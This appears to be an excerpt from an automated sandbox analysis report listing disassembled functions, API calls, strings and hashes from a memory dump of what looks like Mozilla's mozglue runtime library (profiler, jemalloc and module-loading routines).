VerSetConditionMask.NTDLL ref: 6C5646AB
VerSetConditionMask.NTDLL ref: 6C5646B2
VerSetConditionMask.NTDLL ref: 6C5646B9
VerSetConditionMask.NTDLL ref: 6C5646C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5646CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C5646F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5646FD

Strings

user32.dll, xrefs: 6C564557, 6C56463F
WRusr.dll, xrefs: 6C5644B5
G]l, xrefs: 6C5644FC
kernel32.dll, xrefs: 6C5644CD
l, xrefs: 6C564578
NativeNtBlockSet_Write, xrefs: 6C5646F7

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: G]l$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-1023141753
Opcode ID: 5609c24b83fad681593a242cfd5a97e0aee11f11e85163630dbe5d3f154ab05a
Instruction ID: 42316d7fb6b1dad9f4958caeee4e3824eccc701416f8d1a4e3092c7a166a2ace
Opcode Fuzzy Hash: 5609c24b83fad681593a242cfd5a97e0aee11f11e85163630dbe5d3f154ab05a
Instruction Fuzzy Hash: 6B61D7B0600344AFEB10DF65CC09B957BF8EF46308F06C659E5059BA61D7B0AA85CF5E

Function 6C59F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C564A68), ref: 6C59945E
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C599470
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C599482
Part of subcall function 6C599420: __Init_thread_footer.LIBCMT ref: 6C59949F

GetCurrentThreadId.KERNEL32 ref: 6C59F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C59F8F9

Part of subcall function 6C566390: GetCurrentThreadId.KERNEL32 ref: 6C5663D0
Part of subcall function 6C566390: AcquireSRWLockExclusive.KERNEL32 ref: 6C5663DF
Part of subcall function 6C566390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C56640E

ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F93A
GetCurrentThreadId.KERNEL32 ref: 6C59F98A
GetCurrentThreadId.KERNEL32 ref: 6C59F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59F716

Part of subcall function 6C5994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5994EE
Part of subcall function 6C5994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C599508

Part of subcall function 6C55B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C55B5E0

GetCurrentThreadId.KERNEL32 ref: 6C59F739
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F746
GetCurrentThreadId.KERNEL32 ref: 6C59F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C5D385B,00000002,?,?,?,?,?), ref: 6C59F829
free.MOZGLUE(?,?,00000000,?), ref: 6C59F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C59F866
free.MOZGLUE(?), ref: 6C59FA0C

Part of subcall function 6C565E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5655E1), ref: 6C565E8C
Part of subcall function 6C565E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C565E9D
Part of subcall function 6C565E60: GetCurrentThreadId.KERNEL32 ref: 6C565EAB
Part of subcall function 6C565E60: GetCurrentThreadId.KERNEL32 ref: 6C565EB8
Part of subcall function 6C565E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C565ECF
Part of subcall function 6C565E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C565F27
Part of subcall function 6C565E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C565F47
Part of subcall function 6C565E60: GetCurrentProcess.KERNEL32 ref: 6C565F53
Part of subcall function 6C565E60: GetCurrentThread.KERNEL32 ref: 6C565F5C
Part of subcall function 6C565E60: GetCurrentProcess.KERNEL32 ref: 6C565F66
Part of subcall function 6C565E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C565F7E

free.MOZGLUE(?), ref: 6C59F9C5
free.MOZGLUE(?), ref: 6C59F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C59F9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6C59F71F
" attempted to re-register as ", xrefs: 6C59F858
Thread , xrefs: 6C59F789

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: fe63cdd7e690859c75c27f9ee11118ce86bbdb0459799db7353629a2b926e988
Instruction ID: 9afac1ff4b5b5b0e2887eff124973a7b0f798bd6a812fd09a82cf3ceeb080176
Opcode Fuzzy Hash: fe63cdd7e690859c75c27f9ee11118ce86bbdb0459799db7353629a2b926e988
Instruction Fuzzy Hash: 8D81CF71604340DFDB10EF24CC44AAAB7B5EFC5308F5546ADE8499BB51EB30AC49CBA6

Function 6C59EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C564A68), ref: 6C59945E
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C599470
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C599482
Part of subcall function 6C599420: __Init_thread_footer.LIBCMT ref: 6C59949F

GetCurrentThreadId.KERNEL32 ref: 6C59EE60
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59EE6D
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C59EEA5
CloseHandle.KERNEL32(?), ref: 6C59EEB4
free.MOZGLUE(00000000), ref: 6C59EEBB
GetCurrentThreadId.KERNEL32 ref: 6C59EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59EECF

Part of subcall function 6C59DE60: GetCurrentThreadId.KERNEL32 ref: 6C59DE73
Part of subcall function 6C59DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C564A68), ref: 6C59DE7B
Part of subcall function 6C59DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C564A68), ref: 6C59DEB8
Part of subcall function 6C59DE60: free.MOZGLUE(00000000,?,6C564A68), ref: 6C59DEFE
Part of subcall function 6C59DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C59DF38

Part of subcall function 6C58CBE8: GetCurrentProcess.KERNEL32(?,6C5531A7), ref: 6C58CBF1
Part of subcall function 6C58CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5531A7), ref: 6C58CBFA

GetCurrentThreadId.KERNEL32 ref: 6C59EF1E
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59EF2B
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59EF59
GetCurrentThreadId.KERNEL32 ref: 6C59EFB0
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59EFBD
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59EFE1
GetCurrentThreadId.KERNEL32 ref: 6C59EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59F000

Part of subcall function 6C5994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5994EE
Part of subcall function 6C5994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C599508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C59F02F

Part of subcall function 6C59F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C59F09B
Part of subcall function 6C59F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C59F0AC
Part of subcall function 6C59F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C59F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6C59F008
[I %d/%d] profiler_stop, xrefs: 6C59EED7

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 4fe789f977a065c592dff237c9d5b858874516b4f9c995a84533af9ab8fde49a
Instruction ID: a578f9ab2900bb424825d7913597fa622a7caa4ec8044e21e1e9c35dfb6f5bc0
Opcode Fuzzy Hash: 4fe789f977a065c592dff237c9d5b858874516b4f9c995a84533af9ab8fde49a
Instruction Fuzzy Hash: 2F512631600351DFDB00AB68DC087A577B9FB8631AF16479AE91683B41DBB17844C7AF

Function 6C58D010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C5DE804), ref: 6C58D047
GetSystemInfo.KERNEL32(?), ref: 6C58D093
__Init_thread_footer.LIBCMT ref: 6C58D0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C5DE810,00000040), ref: 6C58D0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DE7B8,00001388), ref: 6C58D147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DE744,00001388), ref: 6C58D162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DE784,00001388), ref: 6C58D18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C5DE7DC,00001388), ref: 6C58D1B1

Strings

<jemalloc>, xrefs: 6C58D268, 6C58D311
MOZ_CRASH(), xrefs: 6C58D277
: (malloc) Unsupported character in malloc options: ', xrefs: 6C58D322
MALLOC_OPTIONS, xrefs: 6C58D0CB
Compile-time page size does not divide the runtime one., xrefs: 6C58D26D

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 7ddf5828e176b376a7459984b076a37072e950b359337459aadc36ae4c6a6a42
Instruction ID: aa96ef04abda3e33d16608ca39b5a4da91472a0da3953d32f3e830f9c0f085e3
Opcode Fuzzy Hash: 7ddf5828e176b376a7459984b076a37072e950b359337459aadc36ae4c6a6a42
Instruction Fuzzy Hash: C481D270B02362DBEB00DF68CC54B69B7F5EB46704F12052AE90297B80D7B5B845CB9E

Function 6C567FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C568007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C56801D

Part of subcall function 6C56CA10: malloc.MOZGLUE(?), ref: 6C56CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C56802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C56803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C56808D

Part of subcall function 6C56CA10: mozalloc_abort.MOZGLUE(?), ref: 6C56CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C56809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C5680B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C5680DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5680ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5680FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C56810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C568133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C568149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C568167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C56817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C568199

Strings

0>Yl, xrefs: 6C56811E

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>Yl
API String ID: 2721933968-3504809033
Opcode ID: e9d243a3d9fb5dc99eae48d2f817d2ec50f87d066ec787dc6144c850390f491d
Instruction ID: 62b87deb877cde145101113ae2119f533c051573a9cf0ddf2f03f6164156fbe3
Opcode Fuzzy Hash: e9d243a3d9fb5dc99eae48d2f817d2ec50f87d066ec787dc6144c850390f491d
Instruction Fuzzy Hash: 325196B1E002149BDF10DFA6DC84AEFB7B9EF89224F540525E815E7751E730AD44CBA2

Function 6C565E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C565E9D

Part of subcall function 6C575B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5756EE,?,00000001), ref: 6C575B85
Part of subcall function 6C575B50: EnterCriticalSection.KERNEL32(6C5DF688,?,?,?,6C5756EE,?,00000001), ref: 6C575B90
Part of subcall function 6C575B50: LeaveCriticalSection.KERNEL32(6C5DF688,?,?,?,6C5756EE,?,00000001), ref: 6C575BD8
Part of subcall function 6C575B50: GetTickCount64.KERNEL32 ref: 6C575BE4

GetCurrentThreadId.KERNEL32 ref: 6C565EAB
GetCurrentThreadId.KERNEL32 ref: 6C565EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C565ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C566017

Part of subcall function 6C554310: moz_xmalloc.MOZGLUE(00000010,?,6C5542D2), ref: 6C55436A
Part of subcall function 6C554310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5542D2), ref: 6C554387

moz_xmalloc.MOZGLUE(00000004), ref: 6C565F47
GetCurrentProcess.KERNEL32 ref: 6C565F53
GetCurrentThread.KERNEL32 ref: 6C565F5C
GetCurrentProcess.KERNEL32 ref: 6C565F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C565F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C565F27

Part of subcall function 6C56CA10: mozalloc_abort.MOZGLUE(?), ref: 6C56CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5655E1), ref: 6C565E8C

Part of subcall function 6C56CA10: malloc.MOZGLUE(?), ref: 6C56CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5655E1), ref: 6C56605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5655E1), ref: 6C5660CC

Strings

GeckoMain, xrefs: 6C565ECE, 6C566015

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: d5e15f94fc20cabed609b6fd14d5ba3f942f6fcf5e6e293f79fd19ad94fa85ea
Instruction ID: 1ccba73406cae9c13302a06dd902dac0514f2f7fa83aab5348e6d61f4641c214
Opcode Fuzzy Hash: d5e15f94fc20cabed609b6fd14d5ba3f942f6fcf5e6e293f79fd19ad94fa85ea
Instruction Fuzzy Hash: BB719DB0A05740DFD710DF29C880A6ABBF0FF99304F54496DE58687B52DB31E988CB96

Function 6C569590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5531C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C553217
Part of subcall function 6C5531C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C553236
Part of subcall function 6C5531C0: FreeLibrary.KERNEL32 ref: 6C55324B
Part of subcall function 6C5531C0: __Init_thread_footer.LIBCMT ref: 6C553260
Part of subcall function 6C5531C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C55327F
Part of subcall function 6C5531C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C55328E
Part of subcall function 6C5531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5532AB
Part of subcall function 6C5531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5532D1
Part of subcall function 6C5531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5532E5
Part of subcall function 6C5531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5532F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C569675
__Init_thread_footer.LIBCMT ref: 6C569697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C569707
__Init_thread_footer.LIBCMT ref: 6C56971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C569773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5697B7
FreeLibrary.KERNEL32 ref: 6C5697D0
FreeLibrary.KERNEL32 ref: 6C5697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C569824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C569670
NtMapViewOfSection, xrefs: 6C569701
MapViewOfFileNuma2, xrefs: 6C5697B1
ntdll.dll, xrefs: 6C5696E3

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 7515808d2e04a6232591e09e44cabc172686ad9fed9a9cc13d7ca16002dfef2d
Instruction ID: fc174ebe3598e34254850d31b4a9bd3e7fed9cc705e26cec16ddf3a4d1744eda
Opcode Fuzzy Hash: 7515808d2e04a6232591e09e44cabc172686ad9fed9a9cc13d7ca16002dfef2d
Instruction Fuzzy Hash: B161E471601302DBDF00DF69DC84BDA7BB1EB4A314F028629E91697B90DB30B844CB99

Function 6C5B6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C5DF618), ref: 6C5B6694
GetThreadId.KERNEL32(?), ref: 6C5B66B1
GetCurrentThreadId.KERNEL32 ref: 6C5B66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C5B66E1
EnterCriticalSection.KERNEL32(6C5DF618), ref: 6C5B6734
GetCurrentProcess.KERNEL32 ref: 6C5B673A
LeaveCriticalSection.KERNEL32(6C5DF618), ref: 6C5B676C
GetCurrentThread.KERNEL32 ref: 6C5B67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C5B6868
RtlCaptureContext.NTDLL ref: 6C5B687F

Strings

WalkStack64, xrefs: 6C5B6890

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 027eb8da0c3a96e1e8957b74e7a4e6abf150d0943bd416a1066f1a376e490559
Instruction ID: 3716d2c11e8cbbdcfed222d3c5020db27ffda999d2ecc2168e9a528c49ce7147
Opcode Fuzzy Hash: 027eb8da0c3a96e1e8957b74e7a4e6abf150d0943bd416a1066f1a376e490559
Instruction Fuzzy Hash: A1517971A09301AFDB15DF24CC44A5ABBF4FF89714F01492DF999A7640DB70E908CB9A

Function 6C59DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C564A68), ref: 6C59945E
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C599470
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C599482
Part of subcall function 6C599420: __Init_thread_footer.LIBCMT ref: 6C59949F

GetCurrentThreadId.KERNEL32 ref: 6C59DE73
GetCurrentThreadId.KERNEL32 ref: 6C59DF7D
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59DF8A
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59DFC9
GetCurrentThreadId.KERNEL32 ref: 6C59DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C564A68), ref: 6C59DE7B

